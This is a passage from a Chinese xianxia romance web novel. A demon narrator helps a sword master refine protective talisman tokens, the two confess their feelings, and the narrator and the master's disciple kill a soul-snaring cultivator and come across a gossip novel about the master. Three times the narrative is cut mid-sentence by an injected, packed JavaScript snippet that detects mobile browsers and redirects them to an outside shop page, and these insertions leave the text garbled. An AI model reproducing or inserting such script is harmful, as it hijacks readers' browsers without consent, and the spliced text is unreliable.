周照川看看我,没说什么。赵何处抿了一点茶,扫了我一眼,又看林玉声:“上次给你送来的东西,可还有喜欢的?” 林玉声说:“师兄费心了。我这里其实不缺什么东西的。” 赵何处这人不知道怎么想的,隔一段时日就往流玉峰上面送东西,用的玩的淬剑的。林玉声每次都看一看就收进去,再让庄云帆送点东西回去。 赵何处闻言顿了一下,笑道:“你我之间说什么费心不费心的。归元真人当日也托我多照拂你,何必说这些。” 林玉声只是笑一笑,没接话。沉默片刻,他问周照川:“这次的符牌,在山下用着怎么样?” 周照川从乾坤袋里面拿出来几个小木牌:“对一般的魔气,十次里面能有五六次识别出来。但是攻击性还不是太高。按照师尊说的,我把用过的带回来了一些。” 她放在桌上,林玉声和赵何处各自拿了几个看了一会儿。赵何处摇摇头:“看着似乎并没什么问题。” 见我看过去,林玉声递给我:“这就是我前些时日和你提过的符牌——你看看?” 他有时候在纸上比比画画的,我在旁边看,林玉声就告诉我,他在山上也没别的事情干,就自己试着做一些东西。 “不是人人都能引灵气入体、施展法术,”他当时拿出来一个结构奇巧的小木牌给我看,“但是寻常人碰上魔修之类的,也不能总干等着修士来救,总要有些自保的手段——我是想,如果我把一些简单术法需要的灵力与符文,都像这样存在符牌里面,再想办法让凡人不需要灵力也能催动,也许会好一些。” 我眼下从他手里拿过来,看了看。这几个用过的符牌有的生效有的没生效,我把几个没生效的仔细翻看了几遍。 林玉声的设计明面上看的确没什么问题,但是在实战中也的确很容易不生效——我见过大大小小很多妖魔鬼怪,一个比一个会使阴招,打出千百种诡异的路线。考虑到这种实际情况,现有对路线的推演就显得太过单一了。 这也实在半点不能怪林玉声。这种阴招对林玉声这种实力的剑修来说构不成一点威胁,大概还没使出来就被他斩于剑下了,他没见过、没留心是正常的。我隐隐记得很多年前我还弱得可怜的时候,因为这个吃过几次亏。 倒也不难解决,换了符头的内容,剩下的就是再计算推演。我在桌上写出来要改的符文,解释几句,林玉声眼睛一亮:“原来是这样。” “至于攻击性不强,”我见剩下两人没作声,又点着个地方,“这部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921817|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分的灵力回路似乎有问题。这样改试试?” 我大致比划一下,林玉声点点头:“有道理——等一下。” 他指尖顺着我在空中的轨迹滑下来:“这样灵力攻击的轨迹,不是和我方才说的改进方向是一样的吗?就是这样更好。” 我看着他比划几下刚才那个剑招,沉吟一下,发现他那样果然攻击性更强。我点头:“好吧。你是对的。” 他眉梢就露出一点很愉快的得意神色,偏过头看周照川和赵何处:“对吧?你们是不是也觉得我说的更好?” 周照川脸上有一点茫然之色,沉默片刻道:“师尊,弟子……弟子愚钝。” 赵何处不语,只是一味喝茶。 林玉声又看我。我只好又跟他重复:“你那样的确是对的。” 他高兴了。 周照川在旁边拿着笔对着符牌看了半日,才谨慎地问我:“闻道友,你放才是说,是这里……这个地方的灵力回路有问题吗?” 赵何处大概发现自己除了喝茶只能喝茶,略坐了一坐就回去了。林玉声揉揉我的头发,叫了周照川进去说话。 我盯着他房间的窗户。原本这个时候他应该跟我一起晒太阳的。 关系这么亲近。到底是师徒呢,和旁人就是不一样。 林玉声跟她聊了一刻钟,我也想了一刻钟,还是准备找个人打听一下周照川的事。 在流玉峰的这些时日,我有时候会出去搞点这个弄点那个,从峰下过的时候经常碰见庄云帆。 庄云帆没发现我就是那只鸟,开始的时候对我很客气,甚至有点疏远,过了几个月才跟我略微熟络起来,有事没事跟我打听“峰主那只招人稀罕的小鸟。” 三百灵石赚一次还嫌不够? 我进去的时候她正在打算盘,见我进来,很期待地看了一圈,发现没鸟,又啧啧两声低下头去接着拨珠子。 我问她:“你知不知道周照川怎么拜师在流玉峰的?” 庄云帆闻言摇摇头:“我来得晚,不太清楚。周师姐总是绷个脸,一开始我以为她很凶呢,后来才发现周师姐啊人老好了,本事杠杠的,还老照顾咱呢。” 我觉得周照川好像也不太聪明,但庄云帆这样说,想来林玉声更看重人品。这很好,我会继续投其所好。 于是我和她确认:“所以你们峰主收徒弟是更看人品,不论资质的吗?” 庄云帆手上一停:“拉倒吧,资质不够好的能扛住峰主那个教法?周师姐连这都能硬着头皮忍下去,进宗门才三十来年连丹都结了,青云宗谁不知道她天赋好啊?” 我不太明白。 “峰主人是老好了哇,我们其实算是外门弟子,按理不能拜师的。但峰主不挑那个理儿,刚开始那阵儿隔三岔五就把咱叫到山上——就那个结界那儿,教本事呢。”她看我神情,和我解释,“就是、就是峰主那个教法,也就周师姐勉强忍得下去。他也瞅出来我们这帮人吃不消,自己又常年不下山,就干脆找了隔壁文华峰的几位师兄师姐来教了——花了不少钱呢。” 我很疑惑:“林玉……林峰主的教法怎么了?” 这几个月他教我修炼、教我用剑,我自己觉出来进益相当地大——客观来讲,我的确提了两个大境界。而且我觉得从来没见过这么有耐心的人。 庄云帆缩缩脖子:“就拿着本书给你念念,一次念小半拉本儿,念完就问你听懂了不,这谁能听一遍就懂?谁能一下子整明白那么多东西?” 这不是跟我一样的教法吗?我很疑惑:“他都一点一点念书了,教得还不够细吗?” 我也就当鸟的时候有他给念书的待遇。做人的时候他也就隔几日给我案上放十几本剑法心法之类的,我看完了他再放。现在见我修为进益一日千里,连放都不放了,直接让我自己去藏书阁里面拿。 庄云帆很诧异:“你是说我们听一遍就、就应该听懂了是吗?” 我还是疑惑:“不是吗?” “算了。”庄云帆摇摇头,“这也就算了,好赖能听明白几个字儿。他教那身法,就比划个三五遍的,完事儿就让我们自个儿上了。根本瞅都瞅不明白。” 我说:“三五遍?” 庄云帆:“嗯呐。你也觉得……” “这么多?” 我不大开心。林玉声当时教我的时候顶多一遍,更多时候就说两句,现在已经完全放任我自己修炼了,除了在我有所突破的时候会很高兴地、眼睛亮亮地夸我。他对别的弟子原来更有耐心。 庄云帆很震撼地看着我。我问她:“怎么了?” 她嘴角好像抽了抽,看了我半晌,就说了一句话。 “可怕。” 11. 不用防了 我上山的时候天色略微暗下来了一点,我刚走到洞府门口,就见到林玉声与周照川。 林玉声不知道在与她说什么,轻声细语的。 到底是师徒呢。和旁人就是不一样。 周照川应了一声,朝他行了礼往我的方向走过来,见到我抱着剑朝我拱拱手:“闻道友。” 我看看她:“你要下山?” “是。”她说,“不早了,我回住处去。” 我有些疑惑,看着她下山的背影,跳上几级台阶到林玉声旁边:“她不住这儿?” “照川也住山下。”林玉声拢起袖子,和我往回走,“我这地方……少些人为好。” “你又不是喜欢清净的人,”我看他,“怎么这样说?” 林玉声笑着眉眼看我,隔着袖子牵住我的手腕:“嗯,但是有你一个还不够吗?” 他的语调拖得轻而长,眼睛在昏昏月色里面亮亮的,衬出眉梢一点朱砂。我来不及深思便被他这样看得找不着北了,话到嘴边又自己咽了下去。 他总这样。 “照川也很喜欢你。”林玉声接着道,“这孩子性格使然,平常总是有些不苟言笑,但人是很好的,又很好学。若有机会,你也指点她一二。” 好吧。好吧。我点点头。 他又这样。庄云帆赤子之心,赵何处一心操持宗门,旁边峰头的何一水淬剑不错。隔壁宗门的姜沉弦颇有气度。现在来了个周照川,又是说“人是很好的”。更别说还有画上那个讨厌的人。我仍然觉得林玉声跟他认识一定是有什么误会。 林玉声眼里怎么有这么多人呢?就连山下千千万万不认识的人也惦念。 我不太高兴。好像我找到的最漂亮的石头被一群人也发现了一样。我承认,我实在是一步一步得寸进尺,要他照我还不够,还想他独独照我。我想,大概是因为我不是什么好鸟。 ——他怎么连对坏鸟都能这样好呢? 我转过头去看他。很奇怪,我不光修为涨得飞快,身量也比别人长得快,似乎时间在我和旁人身上的流速不一样、快出来好几倍似的。现在我快要与他差不多高了,此刻与他站得很近,夜间风里面夹杂着他身上的浅淡香气。他拂开被风吹到额前的发丝,笑道:“怎么了?” 林玉声看着我,不疑有他,眼底是干干净净的月色。 我忽然从黏腻潮湿的情绪中惊醒,觉出来我的想法很不合理,咽回去想说的话。 林玉声是这样好的一个人,有最锋锐的剑和最漂亮的眉眼。这样的人就是应该坐在高高的白云端,做月亮上的仙人的。 凭什么要他只看我呢? 我勉强压下去一些不太好的杂念,摇摇头:“没什么。” 这不应该。这不应该。 林玉声还是看我,很轻地蹙起来眉头,片刻之后忽然笑了:“照川是很好的孩子,又是我的徒弟,我自然喜欢她,和我喜欢云帆她们是一样的。”他顿了顿,“嗯,但是和喜欢你是不一样的。” 我很诧异,对上他的视线。他眉眼间带上一点得意神色:“你看,我就说你骗不了我。” 林玉声站在那里看着我,我心下一颤。我努力理解他这句话,又问他:“你喜欢我,而且和喜欢旁人是不一样的?” 他嗯了一声,想了一想,忽然把我的手拉起来,很轻地覆上去。我原本心下就像塞了柳絮一样发痒,这一下更是乍然间如同擂鼓,连说话都忘记了,微微睁大眼睛看着他。 此前他即便拉我,也是隔着衣袖握着手腕。我第一次和他冰凉的指节这样交叠。凉得当真像玉,却又比玉更轻更软。我清晰地感知到他手上几处剑茧。 他在昏昏月色之中抬眼,好像已经等我问这句话很久了一样,轻笑着说:“和所有人都不一样。” 我再愚钝也该看出来,他眼中有隐隐约约的情意。我重复:“和所有人都不一样。” “嗯,”他任由我把他的手拢在一起握紧,“和所有人都不一样。” 是这样吗?我勾引人的手段真的这么了得吗? 我无数个日日夜夜反复猜测、犹疑、渴望的一件事情,竟然就被他这样随意地、直接地、理所当然地说了出来。 他指腹有意无意地划过我的掌心,痒意从手掌一路蔓延到胸腔。我才知道原来人在狂喜的时候,反而会像这样,一动不动,一言不发。 天地间好像只余下一轮月亮了。我看着他眼底照出来的我的身影。 “如果有一天,”我终于勉强找回了自己的声音,试探着开口,“我因为……不管因为什么,脸不长这个样子了,你还喜欢我吗?” 这么大好的日子,我压根不想提那个画上的晦气东西。林玉声能听明白我在说什么吗? 他有点困惑地眨眨眼睛,笑着摇摇头:“什么样子都好。”他说完看看我,沉默一会儿,好像没忍住,又小声补充一句:“当然了,能好看一点……那肯定还是最好的。” 他每个字都在我心上敲一遍。 我实在是见不得他这个样子——侧着头,轻轻笑着的,带着若有似无的孩子气的样子。我很想抱住他,甚至是更过分的事情。 像我夜间做过的梦那样。滚烫的梦境。 我就说,画上那个碍眼东西,他早晚会忘掉的。什么喜欢得不得了,九诘这种人说话向来不靠谱。 但最终我也只敢小心翼翼地拉住他的手,手指从他的指缝之间穿过去,再握紧。 已经够幸运了。我对自己说。 我第二日早上就把符牌的图纸给了林玉声,按照昨日说的做了详细的修改。 林玉声今日的发髻和昨日又不太一样,碧玉竹节挑起来几缕在脑后随便挽了几下。总之是很好看的。 他接过去看了一眼,抬头:“你昨晚是没睡吗?” 我也没办法告诉他,我看着自己的手就半分没有睡意,干脆坐起来画图纸。 这听起来感觉不是很好。 于是我没接话,问他:“你看看有没有什么问题?” 除了路线的推演还需要一些功夫,其余的部分我都已经标注了出来。林玉声狐疑地看我一看,我催他看图纸,他只好又低下头去,片刻之后唔了一声:“这样的确会比原来好很多。” 虽然早知道没什么问题,听他这么说我还是放下心来。林玉声说完便收起来了图纸,又来看我:“白日里再改就是了,你熬一夜做什么?” 本来就是修士,更何况我妖丹都结成许久了,哪里用得着每晚都睡觉,隔几日略歇几个时辰就够了。但是我还是没说出来,由着林玉声拉我坐下。 ——我想了一个晚上了,终于又牵上他的手了,要集中注意力才能听他说话。 他说:“照川这次回来会待一阵子,再过几个月就是仙门大会,你若是无事和她切磋一下,看看她的进益,看看能不能指点些什么。” 我点头,在想抱他的时候怎么样会比较好。 他接着道:“何师兄昨日回了神兵峰,你不是觉得剑有点不趁手吗?有空了带过去看看。把明漪也一并带去保养一下。” 我应了一声,考虑合籍的时候要穿什么颜色的衣服。 他张了张嘴,又不说话,看我一眼:“闻鄢?” “嗯?” 林玉声狐疑地看我。他说:“想什么呢?” 我正在算我的家底。这些日子修为涨得比之前更快,我趁手回西山把几个陈年老妖和魔修头子剿了一遍,中间又顺道借着青云宗门人的身份进了几个秘境大捞特捞,跟刚来流玉峰的时候完全不一样了,很攒下来一些家底,能在山下给林玉声买回来很多东西。 但是眼下这样想跟林玉声做道侣肯定还是远远不够的,我觉得还得等个三年五年。 这又不能告诉林玉声。我摇头:“没想什么。” 他还是狐疑地看我一眼。 下午的时候,我带了两把剑到神兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921818|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峰。神兵峰的峰主何一水见了我已经很习惯了:“林峰主近来怎么样?” “挺好的。”我递过去我的剑,明漪已经自己跳了过去,非常流畅地在何一水案上躺下。它每次下山都很高兴。 “那就好。” 何一水笑了笑,拍了拍手上的木屑,没再说什么,低头看两把剑。他好像跟兵器打交道久了,话不多,每次来都是自己埋头哐哐当当。 我本来跟他也没什么话好说,但林玉声让我把图纸也给何一水看一看。他说:“何师兄常跟各类兵器打交道,从前又学过机关术,你给他也看一看,瞧他能不能给什么意见。” 他这话说出来我就知道,又要简单粗暴地从账上划很多灵石给神兵峰了。 我把图纸摊开在桌上,何一水看了几眼,抬头:“这是?” 我和他简单讲了符牌的事情,何一水有点吃惊:“林峰主不是剑修吗?怎么还懂这些。” 那是他没见过林玉声自己对着书对着各种铜铁捣鼓到半夜。 何一水看了两眼图纸便不说话了,神色明显专注起来,沉吟许久才开口:“我才从青州回来,那里常受魔修侵扰,这东西倒是的确会有用处。林峰主……林峰主有心了。” 他今日给明漪保养的时候动作格外的慢,我对着图纸看了两个时辰,才见明漪贴过来。何一水张了张嘴又闭上,我着急回流玉峰,问他:“何峰主还有事情?” 何一水顿了一下,摇摇头:“没什么——见了林峰主帮我带个好。” 何一水给出来的是些简单的结构改进意见,要紧的还是灵力回路的问题。我和林玉声花了几日功夫,一道把符牌路线的推演算了出来。我按照图纸低头刻木牌,林玉声在旁边挑亮烛火。 “明日你下山,把这些给照川。”他托着下巴看我动作,“她再出去时带上,看看效果。” 我问他:“只有她自己吗?” 林玉声摇摇头:“这东西还不太成形,试起来太过麻烦。我座下只有照川自己,也只能要她多费些心了。” 我几日一直在想这符牌的事,听他这么说抬头:“那这样好不好?我也拿去一些,到西山试试。” 一开始见到这东西的时候,我就觉得西山这种同样爱乱打架的地方应当也需要。假设人人都能有基本的自保能力,我想,应当是比九诘所想的、单单找更多修士灵石来维持秩序更行得通。 林玉声的主意就是这么好。我很得意。 而且西山人妖魔修齐聚一堂,乱中之乱。要是这东西在西山能用,在其他地方用起来应该就没什么问题了。 ——还能想办法从九诘手里敲一笔灵石出来。 我告诉林玉声这些——除了灵石的部分,又道:“我在西山有一些人,”都是揍服了认主的,“我让他们也拿去试试,看看还有什么没考虑到的问题。” 林玉声听了果然高兴:“那当然很好了——多谢你了。” 我就伸手,眨着眼睛问他:“那你怎么谢我?” 我最近觉出来一件很奇怪的事。鸣琅和风晴教我的那些东西,我总觉得不太得要领,但近来对着林玉声,我好像有点融会贯通了。 尤其是发现他很受用之后。 林玉声也笑了,把手递到我掌心。烛火摇摇晃晃的,将他照得比平日还好看一些。 我正在自己暗暗得意,他静静地看了我很久,却忽然开口:“你来到流玉峰,已经三年了。” 我点头,不明白他怎么提起来这个。他就着灯火望着我,目光不知道什么时候和方才却不太一样,同他白日里看满地的桃花瓣一样。 林玉声那时本来是高兴的,只是一见到变秃的桃花树,原本山明水亮的眉眼就沉默下来。 时节到了,再怎么样,花也是要凋零的。我在旁边告诉他不打紧,花还会再开的,他也还是那个样子。 我不知道他又这样看着我做什么。难道他真的那么喜欢那株桃花? 12. 《流玉秘史》 第二日周照川一早便在结界处等着。林玉声看到她有些惊讶:“不是说辰时么?怎么来这么早?站这么久,可有冻着……” 他自己昨晚分明也没睡好,见了面还是先絮絮地惦记旁人。他这个人。 周照川摇摇头:“不冷,劳师尊挂心了。” 她跟林玉声说话总是这样一板一眼的,我觉得她和那个魔修看起来很不一样,大概不用那么警惕。 反正么,林玉声都说了,他最喜欢我。和喜欢别人都不一样。 我侧过头去看他。他正在给周照川讲符牌的事情,认真起来眉眼便显得不那么柔和,被日光勾出来侧面干净锋锐的弧度。他这个样子我也格外喜欢,只是可惜他现在正在一样一样把东西给周照川细细地讲,腾不出来手来和我牵手。 “是,明白了。” 周照川接过去那些符牌图纸之类的东西。林玉声又道:“闻鄢也会一起下山,你若是有什么不懂的,问他也是一样的。” 我应着他的话点点头,周照川看看我,不知道在想什么。 到西山交代一下再顺手做点旁的,其实也就几天的功夫。周照川已经准备启程了,我没忍住又转身看看林玉声。我说:“我走了。” 林玉声嗯了一声,轻轻笑着:“有劳你们了。” 我说了这话,其实一步也没动,见周照川正低头研究那些符牌,应该没看见,指尖碰碰他袖子底下的手。我又说:“我走了。” 林玉声就笑着叹口气,在袖子下面握住我的手,手指从指缝间穿过去,指腹在我手背上摩挲片刻,低声说:“好了吗?” 好了。这下我更不想下山了。 “去吧。”林玉声另一只手很轻很快地抚过我的脸侧,“早去早回。” 怎么前几日不这样对我。 我盯着他:“我五六日就回来。回来的时候给你带彬州的花神香囊。” 林玉声爱玩、爱热闹,总是念叨各处好看好玩的东西。 好在鸟可以飞得很快,不用休息就可以飞千里万里。 他还是不肯告诉我他不迈出流玉峰顶的原因。但他见了这些东西总是会很高兴。 这些时日有时候会提起来彬州将至的花神节。他和我讲满城灯山、花照冰雪,讲绣工奇巧、打着璎珞的花神香囊。 其实我对这些不大感兴趣——我感兴趣的事情只有修炼打架和林玉声。他很了解我这样无趣的本性:“顺路便罢了,不顺路也不必专门绕过去。” 他每次都这样说。这天下所有地方,只要愿意,都是可以顺路的。 我按住他的手用力握了两下,用了十成十的决心松开:“顺路——我给你多带些东西回来。” 周照川终于发现我还在和林玉声说话了,抬头有点疑惑地看过来。我没忍住又跟林玉声多说了一句:“你这个徒弟……是不是有点太不敏锐了?” 周照川往东南,我往西山,我们俩会有半日同行。 我和她没什么可说的,她看起来也不觉得跟我有什么可说的,除了不时问我一些符牌相关的问题,就是自己研究。 虽然我不明白这图纸有什么值得研究那么久的。已经写得很明白了。 算了。我想,至少她真的很好学。 过了正午时分,我与她进了碧漠城。过了这个小城镇,我们俩就该分头了。 路上人不多,周照川自己研究剩下的一张图纸,我盘算着回西山揍哪些碍眼东西,以及问九诘敲多少灵石,谁都没说话,非常和谐。 路上迎面走过来一男一女,看起来与我们一样的和谐。 ——但是一看清,我便不高兴了。这俩人手牵着手,贴得紧紧的。 给谁看呢?给谁看呢? 我一下子收回来目光,心下冷哼一声,却忽然觉出来点奇怪的气息,猛然回头,周照川的声音也在我身边响起来:“是摄魂蛊。” 出了门就碰上邪修。今日宜我乾坤袋。 我与周照川对视一眼,都收了气息跟上去,见他带着那姑娘进了一条小巷子。下一步应该就是要吸□□气了。 这地方很偏僻,想来一整日都不一定会来一个人。我问周照川:“谁动手?” 周照川握住剑柄,看我一眼,微微皱眉:“我来吧。” 好吧。毕竟身份摆在这里呢,我也不能跟一个小辈争这些。 我很大度地给她让出一点位置,正看她手上结印,忽然捕捉到一点细微的风声,猛然转过去目光。 一点刃影划过,那方才还恍若半睡半醒的姑娘竟忽然间横眉怒目,扑上去手中锋刃直指对面的邪修! 周照川的法印偏偏就在这一刻同时生效,长剑出鞘直穿过邪修,剑锋堪堪擦过那女子的脸侧——她被我方才一霎情急之下挥出来的罡风往后推了半寸。 大概没想到自己险些连这个人一并和邪修杀了,周照川难得神情有些失态,忙着上前扶起来那个女子。她刚才没站稳,被罡风掀翻了。 我踢了踢那个邪修,确定他已经被解决了,转头看地上两人。周照川面色不太好看,但还记着给她解摄魂盅。我看看那个女子,她脸上那道伤倒还好,只是手心的伤口大概才是真的比较深。 “带没带丹药?” 周照川这才看出来她攥紧的手里面有血渗出来,忙点点头,从腰间的乾坤袋里面摸出来个小瓶子给她上药。那女子看看周照川又看看我:“今日之事,实在是多谢二位仙长了。” “分内之事,不必客气。”周照川摇摇头,“你手上这伤……” 我搜出来了邪修身上所有的值钱东西,扔到周照川怀里:“你们看着分——你故意跟着这邪修来的?” 她襦裙上血迹都干了,掌心那伤显然是自己刺的,大概是防止被摄魂盅完全迷了心智。手上没茧,体格清瘦,不是练武之人,身上不会常备匕首,显然有备而来。 周照川也明白过来,皱眉看向她:“这人是筑基大圆满的邪修,你对上他,岂不是……” 那女子盯着邪修看了片刻,呸了一声:“什么大圆满,这东西诱骗此处好几个姑娘了,与其等着那些不知道会不会来的修士,不如自己动手。今日只要能除掉他,都值当了。” 她旁的问题倒是不大,周照川给她处理了伤,留了符牌,把巷子里面处理干净。我们送她回去,她很热情地指指自家的小铺面:“二位仙长,喝些茶,歇息一下吧。” 这地方看起来是个很小的书局,我无所谓,周照川又看看我,见我意思是随便,想了想便点点头。那女子进了屋子,周照川把乾坤袋里面的钱藏在了茶壶底下,把其他东西递给我。 我接过来看了看,里面还是很有一些她能用上的符箓法器之类的:“这不是有能用的?给我干什么。” 周照川看看我,又低下头:“方才如果不是闻前辈,我就……” 到底是林玉声的徒弟,我摇摇头,又扔给她:“下次注意就是。” 平心而论,她方才无论是探查还是出招,都还算说得过去。只是看起来打架经验还不够多,也许是被林玉声惯出来的——林玉声这个人,对自己徒弟肯定连重话也不舍得说。 但经此一次,她大概下次出手也会谨慎一些。 周照川坐了片刻,听见屋内声音,看看我:“她方才伤到了手,我去帮她一下。” 我点点头,看她起身,片刻之后端出来个托盘,上面除了茶壶还有些几个简单的水果点心盘子。那女子跟在后面,很不好意思:“仙长方才、方才帮了那么大的忙,这会儿怎么好意思再麻烦仙长……” “不碍事。”周照川在桌上放下,拿起来杯子,“你坐着便是了。” 倒是有一点林玉声的影子,什么事都要管一管。周照川见我看她,手里的茶壶抖了一下。 我问她:“怎么了?” “无事、无事……”她放下茶壶,“就是……忽然感觉前辈方才好像亲切了一些……” “……” 我难道一直对她很凶?我一直记着林玉声要我指点、照顾他徒弟,我觉得我实在是已经是很和善、很尽心了。 好吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921819|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那女子有些局促地坐下来,小心道:“我叫柳新词,平日里帮着看一看家里的店……二位仙长看一看,若是有喜欢的,拿上便是。” 这地方是凡间的书局,卖的也都是与修炼无关的东西。我没什么兴趣,但林玉声总爱看些话本游记花草谱。来都来了,我问她:“有什么最近时兴的话本?” 带回去给林玉声。他应该会喜欢。 “有的仙长,有的,”柳新词原本有些放不开,闻言似乎松了一口气,赶紧站起来在一旁翻找,“这些都是最近时兴的话本子,卖得可好了……您看看?” 她拢了一大摞过来,周照川眉毛不太自然地挑了一下——最上面的一本封面花花绿绿的,赫然是些艳俗字眼。 看来她对自己师尊的兴趣一无所知。 我大致翻了一翻,挑了几本情节新奇的出来,转头看见柳新词又不知道从哪里翻出来一摞,很热情地介绍:“这些卖得也好,仙长您也看看?” “这些已经够……”我瞥见里面一本,话头一下子止住,抽出来。周照川一直不言不语地看着我翻,这会儿表情也有点绷不住了。 我盯着“流玉秘史”几个字,随手翻开一页。 里面没有指名道姓,但我是傻了,才会看不出来这里面那个“剑法容貌冠绝天下”的名叫蔺羽生的人是谁。 “诶呦仙长您有眼光,这个是才出的,我这里统共卖得剩下了只两三本呢。”柳新词笑嘻嘻道,“您就看吧,绝对是上品!” 我正看翻开的那一页。这一回说到蔺羽生刚刚为了从山下带回来的漂亮男人与掌门大吵一架,这会儿回到峰上,原本正在气恼,见了面前肤如凝脂、微点绛唇、百般柔顺体贴、小意温柔的人又消了气,一把搂过来,摸着人下巴道:“乖乖跟着本尊,本尊自然疼你。” 剩下的不知道了。我看到这里猛地合上,柳新词被吓了一跳:“仙长您、您不喜欢啊?” 周照川只瞥到几行,已经坐不住了:“青云宗也算是大宗门,你卖这些不怕……惹上什么麻烦吗?” 柳新词摊摊手:“赚钱嘛。” 我笑了几声:“杀邪修都敢,卖几本书她有什么不敢的?” 柳新词似乎听不出来弦外之音,还很受用:“就是说嘛,我看出来他是邪修,还是从书里学的呢……反正青云宗找上来了再说。找上来了我自有打算。” 她说完又压低声音:“再说了,空穴不来风。那几个写书的姐姐我很知道的,从不乱讲乱写的。她在那些宗门有些门路呢——说起来我还真好奇这男狐精到底长什么样子,才能迷住流玉峰主……陈姐姐可是见多识广的,也说只敢隔着老远看一眼流玉峰主那张脸呢。” “……” 出了碧漠城,我和周照川便不同路了。我看看她手里的那几本流玉秘史——方才她勉强端着神情,买走了剩下所有的三本,并告诉柳新词,这书以后不要卖给别人了,有一本算一本,她全要。 “当真吗?”柳新词闻言眼睛一亮,很爽快地一挥手,“仙长好眼光,出手又这样大方……成,这次的您拿走看,之后第二卷与第三卷出来之后,我都给您留着,再让您二分利!” 周照川嘴角抽了抽:“还、还有第二卷和第三卷吗?” “自然了,好多人等着看呢,我催了陈姐姐好几次了。”她笑一笑,“但是仙长放心,陈姐姐说是已经写了不少了!再过不久不就是仙门大会了么?她早找好人留意了,只等着取材呢!” ……别在仙门大会上被我发现。 周照川念叨着“不用着急慢慢写”,揣着那几本书有点恍惚地走了出来。 站在城外,我看周照川准备点个符给那几本书处理了,拦了一下:“等一等。” 抽出来一本,我晃一晃:“这个我拿走了。” 周照川睁大眼睛:“您、您喜欢看吗……” “不是。”我放进乾坤袋,“回去给你师尊看。” 这样的乐子,我看不了,周照川也看不了,但是林玉声肯定爱看。 他这个人。 13. 姻缘树 我着急回流玉峰去,进了西山的地界,就开始按照打算好的路线,一个一个揍不安分的东西,将自己的地盘再次外扩了一个大圈,风风火火地到了西山殿前才收回去剑。 九诘看看我,捏着他的扇子:“我今天……在你的计划之内吗?” 我摇摇头,把符牌拿出来给他:“看看这个。” 他略微松了一口气,接过去。我和他解释了这东西的来历和用途,又说:“我方才已经叫人拿去试了,你手底下的人能不能用?” 九诘把符牌拿在手里翻来覆去地看了几遍,很感兴趣的样子:“林峰主待你还真是交心呢——这东西真这么好用?我也拿去让他们试试。” 我点头:“具体的效果让他们记录清楚,和用过的符牌一起,我过段时日再来拿。” 九诘收好那堆符牌,我准备起身,瞥见他桌案上压在乱七八糟的账簿典籍下面有个熟悉的封面,顿了顿。 我指了指那本被压在底下的流玉秘史,问他:“好看吗?” 九诘也不遮掩,直接抽了出来:“自然好看,我听说人间最近很时兴这个——我还想问你呢,这里面写的几分可信?你真的这样手段了得?” “……” 下次来就篡了他的妖王之位。 鸣琅在我来西山之前就给我传讯,让我不要去烦她。她见到我就心烦。 但她还是见到了我,在风晴洞府的门口。她今日似乎格外精心打扮了,周身花香馥郁,只是见了我便笑容凝滞:“闻妖主,真巧啊。” 西山大大小小有几十个妖主。这几个月揍的碍眼东西比较多,我还是从青婉那里听说我也被安了这么个名头。 我点点头,也承认:“鸣长老,真不巧啊。” 风晴几乎是无奈的声音从里面传出来:“你们要是不进来,就换个地方叙旧呢?” 他洞府的门本来就是虚掩着的。风晴正在整理玉简,没抬眼:“都随便坐吧。” 我不是很想耽误时间,直接说明来意:“风长老,上次你给我的那些典籍我都看完了。还有旁的吗?” 我本来不爱学这些勾引人心的东西的,但是林玉声很大地激发了我的好学之心。起初的那几枚玉简我早看了许多遍,又来找风晴要些新的狐族典籍。 ——虽然现在还是不太熟练,偶尔才想起来用一下,但我觉得这东西和剑法一样,看多了总会灵活运用的。 我时而觉得林玉声喜欢我是人之常情,时而觉得是我自己在做梦。我还是不敢想象我就这么轻而易举地替代了之前那个碍眼东西。 鸣琅冷笑一声,没说话。风晴想了想,随手抽出来两根:“拿走看吧。二百灵石。” 我把方才从九诘那里敲出来的拿了一点给他,站起身:“你们聊吧。” 鸣琅从方才便时不时看我,又是冷笑一声:“你现在这个样子……看来林玉声对你倒是真的不错。” 本来的事。我说:“不然呢。” 鸣琅敲着手里的玉简:“好不好的我都管不着——我听说你上午到栖凰渡了,你怎么了?” 我没怎么。西山有木妖一族擅疗愈,上午的时候我又到栖凰渡里面找了几个木妖来打听林玉声的寒症。他的确是格外怕冷的,夜间在外面略微停一刻钟便冷得发颤,平日里手也是冰凉的。 对他这个修为的人来说,这是很奇怪的事。 前几次木妖给我的丹药有一点作用,但不多。我把秘境里面在巨蟒眼皮子底下拿到的几株灵草拿出来,眼睛放光的木妖主很爽快地给了我一颗赤色的晶石,触手生温。 